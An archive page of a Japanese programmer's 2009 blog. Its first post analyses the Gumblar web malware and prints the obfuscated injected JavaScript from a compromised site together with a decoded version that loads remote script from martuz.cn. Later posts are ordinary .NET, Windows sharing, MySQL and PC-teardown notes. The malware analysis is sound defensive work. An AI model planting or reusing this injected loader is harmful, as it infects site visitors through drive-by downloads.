<   2009年 05月 ( 15 )   > この月の画像一覧
最近流行っているGumblar(通称GENO)ウイルスを試してみようしたけれど。。。
先々週末くらいに一気にフィーバーして話題なった通称 GENO ウイルス。
感染したWEBサイトを見ただけで、感染しFTPのパスワードを盗み出しさらに感染サイトを広げるという手法で、異常増殖したようです。
おまけに、各セキュリティベンダーの対応が遅れたために、アンチウイルスが効かないということで、一種のパンデミック状態にもなったようです。

ここ一週間でだいぶ情報が出てきて、ウイルスの挙動が分かるようになりました。
仕組み的には、正規のWEBサイトを改ざんし、ウイルス本体へのリダイレクトを書いた JavaScript を埋め込んで、そのサイトを踏んだ人がリダイレクト先で Adobe Reader,Flash Player の脆弱性をついたプログラムを実行させ、そこから別のウイルスをダウンロードして、、という流れみたいです。

しかし、FTP通信を監視して、アカウントを盗むというのはほんと怖い話ですね。
日本でも相当数のサイトが感染しているようです。

ということで、仮想マシン上で感染させてウイルスの挙動や、どこにFTPアカウント送っているのかや、ほんとにセキュリティソフトで検知できないかをいろいろ試してみようと思いました。

用意した環境は XP ,Adobe Reder 8.0.0,Flash Player 6.0.66.0,IE6 です。

まずは感染サイトを探さないといけません。
見つけたのは "GenoVirus感染サイトリスト"。ここで見つけた感染サイトのソースを見てみます。(今回見てみたのは名古屋の某塾・予備校のサイト。3日前に見つけましたが、いまだに修正や告知ありません。。)

すると、外部ファイル js/swfobject.js にこんな怪しい JavaScript が。。
(function(){var n1L='%';var WaBc='@76@61r@20a@3d@22Sc@72@69ptEng@69ne@22@2cb@3d@22Ve@72s@69on(@29+@22@2c@6a@3d@22@22@2cu@3dn@61viga@74or@2eus@65@72Ag@65nt@3bi@66(@28u@2ein@64exOf(@22@43hrome@22)@3c0)@26@26(u@2ei@6ede@78Of@28@22Wi@6e@22@29@3e0)@26@26(u@2eindexO@66(@22NT@206@22)@3c@30)@26@26@28docum@65nt@2ec@6f@6f@6bi@65@2einde@78Of(@22miek@3d1@22)@3c0)@26@26(t@79peof(zrvzt@73)@21@3dtyp@65of(@22A@22@29))@7bzrv@7ats@3d@22@41@22@3be@76al(@22if(@77in@64@6fw@2e@22+a@2b@22)j@3dj+@22+@61+@22@4daj@6fr@22+@62+@61+@22@4dino@72@22+b@2ba@2b@22@42u@69@6cd@22+b+@22j@3b@22)@3bdocument @2ewrite(@22@3cscr@69@70t@20s@72@63@3d@2f@2fm@22+@22ar@74uz@2e@63n@2fvid@2f@3fid@3d@22+j@2b@22@3e@3c@5c@2f@73@63@72ipt@3e@22)@3b@7d';var a3FN=unescape(WaBc.replace(/@/g,n1L));eval(a3FN)})();

どうやらエスケープや @ の挿入で難読化したスクリプト文字列をデコードして、eval で実行しているようです。
replace と unescape で可読化したものが下記です。
var a = "ScriptEngine", b = "Version()+", j = "", u = navigator.userAgent;
if ((u.indexOf("Chrome") < 0) &&
(u.indexOf("Win") > 0) &&
(u.indexOf("NT 6") < 0) &&
(document .cookie.indexOf("miek=1") < 0) &&
(typeof (zrvzts) != typeof ("A")))
{
zrvzts = "A";
eval("if(window." + a + ")j=j+" + a + "Major" + b + a + "Minor" + b + a + "Build" + b + "j;");
document .write("<script src=//m" + "artuz.cn/vid/?id=" + j + "><\/script>");
}


ちなみに9行目の if 文が true だと変数 j には下記のようなスクリプトになります。
if(window.ScriptEngine)j=j+ScriptEngineMajorVersion()+ScriptEngineMinorVersion()+ScriptEngineBuildVersion()+j;


どうやら、一定の条件(Chrome以外とかWindowsとかXPとか)だと、artuz.cn というホストにリダイレクトするようです。
で、artuz.cn にアクセスしてみたんですが、どうやら悪意あるファイルは配布されてないっぽいです。
ほかにもAdobeの脆弱性ついたファイルばらまくのに gumblar.cn や martuz.cn を使っていたようですが、どちらもDNSが切れてたり、亡くなってたりしてるようです。今後別のばら撒きホストがまた新たにでるんでしょうかね?

よって、結局ウイルスに感染させることができませんでしたが、ばら撒きサイトが閉鎖されたことで、全体として今回の騒動は現時点では終息に向かっているという感じすね。

参考:
gumblar . cnからmartuz . cnへ
ITpro:「姿を変えて検出回避」「攻撃サイトは閉鎖」、最新Webウイルスの詳細
INTERNET Watch:被害が多発する「Gumblarウイルス」への対策を実施しよう
ITpro:「感染すると、さまざまな被害に」――最新Webウイルスを徹底解説
[PR]
by jehoshaphat | 2009-05-28 00:51 | 豆知識 | Trackback | Comments(0)
(XP)「簡易ファイルの共有」機能にやられた
そろそろ Windows 7 のリリースも近いのに、今更ながら XP ネタです。

XP には「簡易ファイルの共有」機能というのがあり、フォルダオプションで有効無効が設定できます。
このフォルダオプションの設定は、各フォルダやファイルのプロパティで NTFS アクセス許可やフォルダ共有の詳細設定をするかしないかだけかと思ってたらどうやら違ってたようです。
(今までXP使うとき、詳細アクセス権設定ができないと嫌なので即効無効にしてました)


見つけたのが、@IT:簡易ファイルの共有機能を利用するの記事です。

どうやら簡易ファイルの共有機能が有効になっている状態で、フォルダ共有すると、すべてのアクセスは Guest アカウントを使って行われるようです。
試してみたところ、OSインストール直後は Guest アカウントは無効になっていますが、初回のフォルダ共有時(ネットワークセットアップウィザードを使っても、手動で行っても)に、勝手に Guest アカウントが有効になるっぽいです。

このときフォルダ共有の内部的な共有アクセス権限は Everyone の変更と読み取りが許可になっているようです。

また、すべてのアクセスは Guest アカウントを使って行われるので、サーバ側にクライアントPCのローカルユーザと同じアカウント、パスワードを登録しても、簡易ファイルの共有が有効になっていると Guest でアクセスしちゃいます。

ほんとにこれは家族内で簡単にファイル共有したいとかいうレベルの機能ですね。
(なぜ、企業向けの XP Pro でも簡易ファイルの共有がデフォルトで推奨なのかがわかりません。企業こそ重要なファイル共有するから最初から細かく権限指定できるようにすべきだと思うんですがね。。)


(ここかららは、Guestの話になりますが)、ある時点で簡易ファイルの共有を無効にしたとします。(ここからはサーバにしてるPCを server , クライントPCを client とします)
しかし、簡易ファイルの共有を無効にしたとしても、 Guest アカウントは有効のまま残ってしまいます。
これを無視したまま、新たなフォルダ共有をし特定のユーザ(たとえば server\userAアカウント)にだけ共有フォルダへのアクセス許可を与えます。
そして、クライアントPC(client\userBアカウント)で \\server\共有フォルダ にアクセス用しようとすると、、、
後はどうなるかわかりますよね。
アクセスが拒否されてしまいます。
この時、Windowsは具体的下記のような認証をしていると思われます。
クライアントPCのログイン中のアカウント名&パスワードと、サーバ側の共有フォルダに割り当てられてユーザアカウント名&パスワードを比較
(上記の例だと userB と userA を比較。結果は false)
 ↓
サーバ側の Guest アカウントが有効か?
(上記の例だと true)
 ↓
クライアントPCは Guest 権限でサーバPCにアクセスに行く。
(このとき、クライアントPCは Guest 権限を持っているので、エクスプローラからサーバのリソース(共有フォルダやプリンタetc)は見える)
が、共有フォルダのアクセス権は userA のみ。よって、アクセス拒否となる。

Guest が有効になっているため、いわゆる匿名アクセスになるわけですね。つまり、サーバPCには匿名ユーザ(Guest)として、ログインできているわけです。匿名アクセスについては@IT:匿名ファイル・アクセスを許可するに詳細があります。

この共有フォルダに Everyone か、Guest のアクセス権を追加してやると、共有フォルダにアクセスできるようです。

では、クライアントPC側で、 userA アカウントを作成する(パスワードもサーバ側の userA と同じにする)とどうでしょうか。
この場合、クライアントPCは userA としてサーバにログインすることになるので、userA の権限が振られた共有フォルダにはアクセスできます。


まあ、いづれにせよ Guest が有効になっていると厄介なことになることが多いですし、勝手にログインされているのもセキュリティ上問題なので、無効にしておいたほうがいいでしょう。(というより、自分はいつも無効にしてます)
Guest が無効なら、サーバPCにアクセスした時点(エクスプローラでコンピュータを開いた時点)でログインが求められるようにすることができます。

ただ、Geuest を有効にしたいという要件があるときは、ここら辺をよく理解してないと今回の自分のように あれっ?ってことになり無駄に時間とられるので、気をつけないといけませんね。

なお、XP Home Edition だとすべてのネットワーク接続は Guest アカウントを使用してしまうようですね。
詳しくはMSサポート:Windows XP の Guest アカウントについての下のほう。


ほんとよく理解してないと結構ハマることが多い Windows のネットワークアクセスです。
そういえば、初めて自分のPCでファイル共有試したのは確か初代VAIO L330Aと友人のVAIOノート(XR)でしたかね。
あの頃は標準でLANポートがないうえに、L330Aが Windows 98 SE だったので、iLINK(IEEE1394)と SmartConnect(TCP/IPをカプセル化し、IEEE1394で流すソフト)でやってましたね。
うまくつなげるのも苦労しましたが、Windows ファイル共有はなかなか手強かった記憶があります。

まあ、あのころは今と比べると無知同然でしたからね。。
[PR]
by jehoshaphat | 2009-05-22 22:22 | 豆知識 | Trackback | Comments(1)
(ツール)Vistaのエクスプローラを「Explorer Construction」を使ってカスタマイズ
昨日の窓の杜のRSSでたまたま見つけてちょいと使ってみたら意外によかったのでメモ。

Windows XP に使い慣れた人からすると、Vsita のエクスプローラってやっぱりなかなか違和感があるんですよね。
このツール使うことで、ちょっとだけXPっぽいUIに変更することができます。

ダウンロードはここから


インストールは最初に ExpConst.exe 起動して、セットアップタブでインストールを押下するだけ。OSの再起動とかも求めらません。(エクスプローラウィンドウが閉じている必要はありますが。。)

気に入ったのは下記の点です。

・ツリービューで項目の階層を示す線を表示
Windows 2000以前のときのように階層が分かりやすくなります。(XP時代でもフォルダオプションで簡易フォルダ表示を使用しないにすれば可能)
e0091163_22175542.jpg


・選択範囲時、コンテキストメニュー表示時は行全体選択を解除する
これはめっちゃ助かりました。Vistaの標準だと、更新日時やサイズ列上で右クリックからのコンテキストメニュー表示すると、その行が勝手に選択されちゃってたんですが、それがXPのように名前列だけにしてくれます。
e0091163_22181578.jpg

↑が↓のようにXP時代的になります。
e0091163_22183351.jpg


後は、フォルダのコンテキストメニューにコマンドプロンプトが表示できるなるのも便利です。
Windows上でソフト開発や運用管理やってるとコマンドプロンプト必須ですからね。ただ、これってレジストリ設定するだけで有効にできた気がするんですが。。
[PR]
by jehoshaphat | 2009-05-22 22:18 | ツール | Trackback | Comments(0)
(.Net)Form.CancelButtonプロパティとButton.DialogResultプロパティにやられた
Form クラスに AcceptButton プロパティと CancelButton プロパティというのがあって、これに Button クラスのオブジェクトを設定すると、キーで Enter を押下したときは AcceptButton プロパティに設定したボタンが、ESC キーを押下したときは CancelButton プロパティに設定したボタンのクリックイベントが動きます。

これを使うと、設定等のダイアログウィンドウのキー操作が簡単にできると思ってやってみたところ、はまってしまったのでそのメモ。

Form.AcceptButton プロパティと Form.CancelButton プロパティにボタンオブジェクトをセットしたら、キャンセルボタン( Form.CancelButton にセットしたボタン)押下時に勝手にフォームを閉じるようになってしまったのです。

ということで、いろいろ調べてみると、@IT:モーダル・ダイアログやモードレス・ダイアログを表示するには?に答えが。。(「モーダル・ダイアログを表示するには?」の見出しの最後のほうにあります。)
ちょいと引用して見ました。

ボタンのDialogResultプロパティに、「DialogResult.Cancel」や「DialogResult.OK」などのDialogResult列挙体の値が設定されている場合、そのボタンがクリックされるとDialogオブジェクトのDialogResultプロパティに対してそのDialogResult列挙体の値が設定される。モーダル・ダイアログでは、DialogオブジェクトのDialogResultプロパティに「DialogResult.None」以外の値が設定されると、自動的にダイアログが終了する仕組みになっている。このため、ボタンの DialogResultプロパティを設定すれば、ボタンのClickイベント・ハンドラでダイアログの終了処理を実装する必要はない(ただし次に紹介するモードレス・ダイアログの場合は、Closeメソッドなどによるダイアログの終了処理が必要となる)。

 なお、DialogオブジェクトのCancelButtonプロパティを設定すると、設定されたボタンのDialogResultプロパティに「DialogResult.Cancel」が自動的に設定される(ただし、この自動設定が行われるのは、ボタンのDialogResultプロパティの値が「DialogResult.None」の場合のときだけだ)。しかし、AcceptButtonプロパティを設定した場合では、設定されたボタンの DialogResultプロパティの値は変更されないので注意してほしい。

 ちなみに、モーダル・ダイアログで、フォーム上部のタイトル・バーにある[×]ボタン(=[閉じる]ボタン)をクリックしてダイアログを閉じた場合、 DialogオブジェクトのDialogResultプロパティには「DialogResult.Cancel」が固定的に設定される。



ということで、流れを追ってみました。
まず、Form.CancelButton に Button オブジェクトを割り当てると、割り当てた Button.DialogResult プロパティに勝手に Windows.Forms.DialogResult.Cancel 値がセットされます。
(なぜかこのことは MSDN:Form.CancelButton には書いてませんでした。なお、Form.AcceptButton にボタン割り当てても Button.DialogResult は変わりません)

そして、Button.DialogResult プロパティが None 以外の値に設定されており、フォームが ShowDialog メソッドを使用して表示(モーダルウィンドウ)されている場合はフォームが閉じられるようです。実際には閉じるというより、Form.DialogResult プロパティに値がセットされ自動的にフォームを非表示にしてるだけっぽいです。(このことは、 MSDN:Button.DialogResult に書いてます。)

なので、流れ的には下記のような感じになってるっぽいです。

Form.CancelButton プロパティに Button オブジェクトセット。
 ↓
Button.DialogResult プロパティに Cancel 値が入る。
 ↓
キャンセルボタン(Form.CancelButton プロパティにセットしたボタン)をユーザがクリック(もしくはEsc)
 ↓
Button.DialogResult プロパティが設定さたたボタンのクリックイベントが走る。
 ↓
Form.DialogResult プロパティに Button.DialogResult プロパティの値がセット。
(Form.DialogResult プロパティがセットされるとフォームは非表示になり、呼び出し元に制御を戻す)


キャンセルボタン押したら、勝手にフォームが閉じたのはこういうカラクリのせいみたいです。
ちなみに、Form.DialogResult プロパティに None 以外がセットされた時フォームが閉じてますが、実際は Form.Close() メソッドを使っているわけでなく、ただフォームを非表示にしてるだけっぽいです。なので、フォームの呼び出し元で Form.Dispose() を呼んでインスタンスを破棄しないといけないようです。
ということが、 MSDN:Form.DialogResult に書かれてました。(ただ、Form.Close() が呼ばれてないにしても、FormClosing や FormClosed イベントは発生しています)

うーむ、、モーダルウィンドウの Form.DialogResult プロパティに None 以外の値入れるとフォームが非表示なること知りませんでした。
そして、Form.CancelButton プロパティ → Button.DialogResult プロパティ → Form.DialogResult プロパティの連鎖も知りませんでした。

試しに簡単なテストコードで確認してみました。

Public Class Form2
 
''' <summary>
''' コンストラクタ
''' </summary>
Public Sub New()
' この呼び出しは、Windows フォーム デザイナで必要です。
InitializeComponent()
' InitializeComponent() 呼び出しの後で初期化を追加します。
 
Console.WriteLine(vbNewLine & "①btnCancel.DialogResultプロパティ: " & Me.btnCancel.DialogResult.ToString())
 
'Form.CancelButton にキャンセルボタンオブジェクトセット
Me.CancelButton = btnCancel
 
Console.WriteLine(vbNewLine & "②Form.CancelButtonプロパティ: " & Me.CancelButton.ToString())
Console.WriteLine("③btnCancel.DialogResultプロパティ: " & Me.btnCancel.DialogResult.ToString())
 
'Form.AcceptButton にOKボタンオブジェクトセット
Me.AcceptButton = btnOK
 
Console.WriteLine(vbNewLine & "④Form.AcceptButtonプロパティ: " & Me.AcceptButton.ToString())
Console.WriteLine("⑤btnOK.DialogResultプロパティ: " & Me.btnOK.DialogResult.ToString())
End Sub
 
''' <summary>
''' OKボタン押下
''' </summary>
Private Sub btnOK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnOK.Click
Console.WriteLine("⑥OKボタン押下")
End Sub
 
''' <summary>
''' キャンセルボタン押下
''' </summary>
Private Sub btnCancel_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnCancel.Click
Console.WriteLine("⑦キャンセルボタン押下")
End Sub
 
Private Sub Form2_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
Console.WriteLine("⑧フォーム閉じてる")
Console.WriteLine("⑨Form.DialogResultプロパティ: " & Me.DialogResult)
End Sub
 
End Class

フォームが表示し終わった時は下記のような出力になりました。

①btnCancel.DialogResultプロパティ: None

②Form.CancelButtonプロパティ: System.Windows.Forms.Button, Text: キャンセル
③btnCancel.DialogResultプロパティ: Cancel

④Form.AcceptButtonプロパティ: System.Windows.Forms.Button, Text: OK
⑤btnOK.DialogResultプロパティ: None

Form.CancelButton プロパティにボタンオブジェクトをセットすると、btnCancel.DialogResult プロパティの値が勝手に変わってますよね。
btnOK.DialogResult プロパティは変化なしです。

この状態でOKボタンを押下してみます。

⑥OKボタン押下

となるだけで、フォームは表示し続けています。

キャンセルボタンを押下すると

⑦キャンセルボタン押下
⑧フォーム閉じてる
⑨Form.DialogResultプロパティ: 2

となり、フォームが閉じられてることが分かります。


さて、こうなると Form.CancelButton で設定したボタンのクリックイベント中で、ある条件の時はフォーム非表示にし、その他の条件のときは非表示にしないということはできないのかというと、どうやら対策があるようです。

それはクリックイベント中に Form.DialogResult に Windows.Forms.DialogResult.None をセットしてやることです。
これで、フォーム非表示処理がキャンセルされるようですね。
上記のサンプルコードだとキャンセルボタンのクリックイベントに下記のようにします。

''' <summary>
''' キャンセルボタン押下
''' </summary>
Private Sub btnCancel_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnCancel.Click
Console.WriteLine("⑦キャンセルボタン押下")
Me.DialogResult = Windows.Forms.DialogResult.None
End Sub


この状態でキャンセルボタンを押下すると、

⑦キャンセルボタン押下

となり、フォーム非表示処理は行われません。


あと、モーダルウィンドウの場合、Form.Close() してもフォームオブジェクトは Dispose されないようです。(モードレスウィンドウは Dispose されます)
呼び出しもとで Form.Dispose() を読んでやる必要があることも初めて知りました。

まあ今回はフォーム関連の無知ゆえにハマった内容ですが、ただ Form.AcceptButton の時はセットしたボタンの Button.DialogResult が変わらず、Form.CancelButton のときは Cacel が入るという仕様は解せないですね。
[PR]
by jehoshaphat | 2009-05-21 09:54 | .Net開発 | Trackback | Comments(0)
MySQL-クロスプラットフォームでのテーブル名
ネタはマイコミジャーナル:クロスプラットフォームなテーブル名 - MySQL編。

あんまりテーブル名意識したことないのでメモ。

MySQLではテーブルがファイルに対応に対応してるので、テーブル名の命名に注意が必要とのことです。
特に Unix 系はOSがファイル名を小文字大文字区別するので、MySQLのテーブル名にもその余波がくるようです。

一番手っ取り早いのはCraig Buckler氏が言うように全部小文字ってやつですかね。
[PR]
by jehoshaphat | 2009-05-19 14:34 | 思ったこととかニュースとか。。 | Trackback | Comments(0)
(.Net)DataGridViewでソートを禁止する
デフォルトだと、列ヘッダをマウスで押下するだけでソートができてしまいます。
それを禁止する方法。
簡単だけど、すぐに忘れるのでメモ。

'dgvは DataGridView のインスタンス
dgv.Columns("ColumnName").SortMode = DataGridViewColumnSortMode.NotSortable

[PR]
by jehoshaphat | 2009-05-18 22:11 | .Net開発 | Trackback | Comments(0)
(.Net)グリッドでチェックボックス列の値が変更されたことを知る
ユーザが画面上のデータを変更したら初めて登録ボタンを押せるようにするという要件は結構あると思います。

今回はグリッド上でユーザが値を変更したことを知る方法です。

通常のセルの場合は、DataGridView.CellValueChanged イベントを捕まえてやるだけで構わないようです。

ただイベントは値がコミットされたときに発生するので、セルのフォーカスを抜けるときに走ります。
たとえばチェックボックス列の場合などはセルにチェックを付けた瞬間にこのイベントが走るようにしてあげたほうがユーザビリティがあるでしょう。

その場合は、DataGridView.CurrentCellDirtyStateChanged イベントでデータをコミットしてやればいいようです。

詳しいことは、MSDN:DataGridView.CellValueChangedにあります。

サンプルソースは下記。プログラム内でグリッドの値を変更した場合は CellValueChanged を走らしたくないんですが、フラグ以外にいい方法ないもんですかね。

'セルが変更されたことを通知するイベント
Private Sub dgv_CellValueChanged(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DataGridViewCellEventArgs) Handles dgv.CellValueChanged
'm_blnFormLoadはフォームロード中かどうかのフラグ(InitializeComponent()でのセルの変更を無視するため)
'utcAccount は NetAdvantage という外部コントロールの UltraTabControl
'm_blnSetUserInGroupCheck はコード内からグリッドの値を変更しているかどうかのフラグ
 
'グループ所属のタブのときかつコンボボックスで選んでいるとき以外
If Not m_blnFormLoad AndAlso Me.utcAccount.SelectedTab.Equals(Me.utcAccount.Tabs("UserInGroup")) AndAlso Not m_blnSetUserInGroupCheck Then
'データが変更されたと判断
Me.btnSave.Enabled = True
End If
 
End Sub
 
Private Sub dgv_CurrentCellDirtyStateChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles dgv.CurrentCellDirtyStateChanged
'ここでコミットすることで、ユーザがDataGridViewCheckBoxColumn列のチェックを変更したらすぐにCellValueChangedイベントが走るようにする
dgvUserInGroup.CommitEdit(DataGridViewDataErrorContexts.Commit)
End Sub

[PR]
by jehoshaphat | 2009-05-18 22:09 | .Net開発 | Trackback | Comments(0)
長い間お世話になったの初代PCとの別れ
3流プログラマの初代PCは Sony VAIO PCV-L330A/BP です。
今でもカタログページ残っていましたw
確か購入は2000年でしたかね。
今見ると非常にショボイ仕様ですが、当時は初めてのPCということあって毎晩徹夜でいじりたおしてたこと思い出します。

このPCも現在のPCを作るまでの5年間はメインで使ってました。

現在のPC作ってからはキャプチャボードつけてTV専用機にしたり、サーバ機にしたりしてましたが、ここ1,2年は全く使ってませんでした。
で、ちょうど知人が古くてもいいというので譲渡することに。

譲渡する際にゴリゴリにカスタマイズしてたので一部は出荷時の状態に戻したほうがいいだろうということで、そのレポです。


e0091163_22165567.jpg

まず全体像。付属してたマウスはかなり初期のころに壊れたのありません。
FDDや光学ドライブのところがおかしいと思います。
e0091163_22172025.jpg

FDDは蓋がとれちゃってます。
また、光学ドライブがベゼルがありませんが、これにはわけが。。
実はこの光学ドライブは知人から貰った VAIO XR の DVD-ROM/CD-RW に換装してます。で、XRのベゼルのままだと引っ掛かって装着できなかったので、ベゼル無しで使ってました。



e0091163_22174483.jpg

メモリも当初は 64MB しかなかったので、XP 導入時にバッファローの 128MB を増設して 192MB で運用してました。
最近 256MB のメモリもらったので、上記の写真では 448MB です。さすがにこれだけ積んでると XP は軽いですね。逆を言うとよく 192MB でずっと運用してたと思います。



e0091163_2218123.jpg

一番上が最近もらった A-Data 256MB のメモリ。
二番目が当時3万くらいで買ったバッファロー 128MB のメモリ。
三番目がもともとついた 64MB のメモリ。



e0091163_22183397.jpg

PCI スロットです。スリムスペース筺体なので、無理やり2スロット確保してる感じです。
上が LAN ボードで下が TV キャプチャボードですね。



e0091163_2219697.jpg

PCIに刺さってるボードをのけたところです。
赤枠がビデオチップ(ATI RAGE 128Pro)でその周辺の同じ形の4つのチップがビデオメモリ、青枠がサウスブリッジだったかと思います。
緑枠のところに"KAIBA"と書いてるあんですが、どうやら ASUS の OEM っぽいです。



e0091163_22193570.jpg

背面です。
USBもちょうど普及期だったので、1ポートしかありません。前面1ポートなので計2ポートです。
そしてこのころソニーは IEEE1394 の普及にも尽力してたので、iLink(IEEE1394) もなぜか背面と前面
2ポートもあります。iLink も今やすっかりマイナーになってしまいましたけどね。。



e0091163_22195728.jpg

上から見たところです。
HDDも当初は 18GB でしたが、現在は 80GB に換装。最初はシーゲートの 120 GB に換装してました。今思えばHDD換装がきっかけでプログラミングに加えてPCパーツの世界に溺れていったんですよね。120GB に変えた後は、圧倒的に速度が速くなりました。おそらくプラッタの高密度化が主な要因だと思いますが、ベンチマーク図った時にマザーボードの転送速度限界くらいまで帯域使い切ってた気がします。(マザーは Ultra ATA/33)
後、面白いことにこのPCは CPU(IDEケーブルの下)冷却ファンレスだったんです。ヒートシンクからダクトを電源ファン(画面左上)に通し、冷やすという仕様でした。ある事情があって、ダクトははずしてます。この点は後述。。。



e0091163_22205041.jpg

HDDをのけたところです。フラッシュが反射してるところがフロッピーディスクドライブですね。この下に光学ドライブがあります。
赤丸で囲ってるのが手動のファンコントローラです。制御対象のファンは電源ユニットの 8cm ファンです。もちろんこのファンも換装してます。もとからあったやつおそらくボールベアリングがいかれたせいか、爆音を発するようになったので、このファンに変えました。やっぱりファンコンあると便利ですね。
後、青丸がCPUが置いてる部分です。このCPUクーラーとファンも後付けです。
そして、黄色丸がCPUクーラファンの抵抗器ですね。これで抵抗加えて若干回転数落としてます。じゃないとうるさかったんで。。



e0091163_22212175.jpg

FDDと光学ドライブのユニットはくっついてるので、それをのけるとこうなります。
VAIO開発者がスリム筺体で拡張性の少なさを懸念したせいかデスクトップには珍しくPCカードスロットがついています。(赤枠の部分)
また、ソニーが開発して当時力を入れていたフラッシュメモリのメモリースティックのスロットもついてます。(わかりにくいですが、青枠の部分)
画面中央のオレンジのケーブルが光学ドライブを接続するIDEケーブルです。光学ドライブ側(黄色枠)がスリムドライブ用の小さいポートで、マザーボード側(黄緑枠)が一般的なデスクトップPCと同じサイズのIDEポートです。このケーブルはノート用スリムドライブを自作デスクトップPCでテストするときにうまく使えそうですね。。
ちなみに、黄緑枠のIDEポートはセカンダリのようです。プライマリIDEはどこにあるかというとなんと電源ユニットの下。。最初これ見たときは驚きました。



e0091163_22213923.jpg

これが取り外したFDD & 光学ドライブユニットです。



e0091163_2222048.jpg

左が VAIO XR から移植してた DVD/CD-RW ドライブ、東芝の SD-R2002 です。
右がもとから L330A についてたDVD-ROM ドライブ、日立の GD-S100 です。こいつはほんとよく壊れてました。修理も何回出したことやら。。



e0091163_22223113.jpg

最初のほうの写真で XR から移植した光学ドライブのベゼル外していましたが、ベゼルつけるとこうなります。



e0091163_2223212.jpg

ユニットにもとからの DVD-ROM 装着したところです。



e0091163_22233191.jpg

これがもとからPCIボードに刺さってたモデムボードです。
そういえばあの頃はダイアルアップでネットにつないでたんですよね。従量制だったのでページを開くたびにつなぎ、読み込み終わったら切断しって感じでした。懐かしい。。



e0091163_2224988.jpg

CPUも換装してます。これが換装してたCPU PentiumIII 866MHz です。
実はこのCPU換装した時はまだまだ未熟で FSB というものを正しく理解できてませんでした。
この CPU は 133Mhz(FSB) * 6.5倍率 = 866MHz というクロックでした。
しかし、このマザーのチップセット Intel 440BX は公式的には FSB が 100MHz です。当然メーカーPCのため BIOS でもFSBのバスは変更できません。
ということで結局 100MHz(FSB) * 6.5倍率 = 650MHz。一時、SOFTFSBで FSB のバスクロックアップを図りましたが、なぜか XP だとフリーズしちゃって、結局定格で使ってましたね。
しかし、換装後は体感速度が圧倒的に早く感じたとのと、DivX等の AVI ファイルがコマ落ちせずに再生できたのに感動した記憶があります。



e0091163_22242718.jpg

そして、これがもとからついてた CPU Celeron 533MHz。
こいつはほんとに遅かったです。何せコアが PentiumII ベースの Mendocino でFSBも 66MHz ベースですからね。



e0091163_22244478.jpg

赤枠がもとからついてたCPUのヒートシンクです。
そして黄色枠がプライマリIDE。この位置は無理やりすぎでしょ。よく断線しなかったもんです。



e0091163_22245814.jpg

そしてこれがCPUと電源ファンとをつなぐダクトです。



e0091163_22251751.jpg

ダクトを装着したところです。考えてみればこのPCはファンが全体で一つしかありません。しかし、まあ良くこのエアフロー考えたもんですね。



e0091163_22253134.jpg

これはPCIボードにつけてたアナログTVキャプチャボードなんですが、2,3年前にすぐ近くで落雷があって、その時のパルスで逝かれちゃったんですよね。
赤枠で囲っている部分は焼き切れています。
しかし逝かれたのはチューナー系だけっぽくて、外部入力したときはちゃんと映ってました。
e0091163_22254935.jpg

その時つけてたLANボートもパルスの影響受け、こちらは完全にお亡くなり。。
まあ、しかしPC本体に影響なかったのが不幸中の幸いでした。
落雷にはホント注意しましょう。



e0091163_2226579.jpg

これが一部デフォルトパーツに換装が終わった後の L330A です。
本体の電源LEDが消灯してますが、フロントパネルも電源ボタン周りがお亡くなりになってます。
キーボードの電源ボタンが代用になるので、さほど不便ではありませんが。。。


三流プログラマの成長を助けた初代PCを手放すのは惜しまれますが、新しいオーナーのところいっても有意義に使ってもらいたいです。
[PR]
by jehoshaphat | 2009-05-15 22:32 | ハードウェア | Trackback | Comments(0)
(ADO.Net)DataSetを使ったトランザクション制御
(VB.Net)ADO.NetでOLEDBのトランザクションで、SQL直書き(コマンドオブジェクトにSLQ文をセットする方法)でのトランザクションの方法をメモりました。

今回は DataSet で作られた TableAdapter を使ってトランザクションを行う方法です。

まず、複数のクライアントが同時にDBにアクセスし不整合になるのを防ぐため、排他制御の仕組みをとらないといけません。
Visual Studio で DataSet を使うとこの仕組みもどうやら簡単に出来るようです。
Visual Studio のサーバーエクスプローラからテーブルを DataSet のデザイナにドラッグすると勝手に DataTable と TableAdpter を作成してくれますが、この時点で勝手に更新時(Update句)に楽観的ロックがかかるようになってます。
下記図のようにテーブルアダプタの詳細を見ると「オプティミスティック同時実行制御」にチェックが入ってると排他制御がかかります。
e0091163_9213963.jpg

ただ排他制御といっても楽観的ロックなので、更新時に条件として自身のDataSetがデータを取得した時から各フィールドが変更されていなかどうかをチェックしているだけです。
たとえば、上記図のようなテーブル(test2)だと、VisualStudio が作成する排他制御の入った Update 句はこうなります。

UPDATE test2
SET id = @id, name = @name, value = @value
WHERE (id = @Original_id) AND (@IsNull_name = 1) AND (name IS NULL) AND (@IsNull_value = 1) AND (value IS NULL)
OR
(id = @Original_id) AND (name = @Original_name) AND (@IsNull_value = 1) AND (value IS NULL)
OR
(id = @Original_id) AND (@IsNull_name = 1) AND (name IS NULL) AND (value = @Original_value)
OR
(id = @Original_id) AND (name = @Original_name) AND (value = @Original_value)

フィールド数が多いとかなりオーバヘッドがかかりそうなクエリです。

また、テーブルに timestamp 型のフィールド(SQL Serverの場合、timestamp型は行の挿入または更新時に自動的に値が更新されるもの)があると、これを更新時の比較条件に勝手します。
上記 test2 のテーブルにタイムスタンプ型の列 "updatecheck" を追加して、Visual Studio が生成した Update 句をみるとこうなっています。
e0091163_922206.jpg


UPDATE test
SET id = @id, name = @name, value = @value
WHERE (id = @Original_id) AND (@IsNull_updatecheck = 1) AND (updatecheck IS NULL)
OR
(id = @Original_id) AND (updatecheck = @Original_updatecheck)

条件が timestamp の列だけを比較して、他のユーザが先に更新していないかチェックするようになっています。
フィールド数が多いテーブルはこちらのタイムスタンプ型のチェックのほうが、前フィールドチェック型に比べてオーバヘッドは低くなりそうですね。

この辺の詳細はMSDN:オプティミスティック同時実行制御 (ADO.NET)で詳しく説明されてます。

さて、後は排他制御失敗時にロールバックするようにトランザクションをうまくからめるだけです。
トランザクションを開始して、各テーブルを更新。その時、排他制御に引っ掛かったら DBConcurrencyException が発生するので、そこでロールバックを行う。問題なければコミット。という流れになります。
その具体的なコードは下記の通りです。
コネクションとトランザクションのオブジェクトを TableAdpter オブジェクトに紐づけるという点がミソですね。
'テーブルアダプタのインスタンス生成
Dim adpTest As New RhythmSalesProDataSetTableAdapters.testTableAdapter()
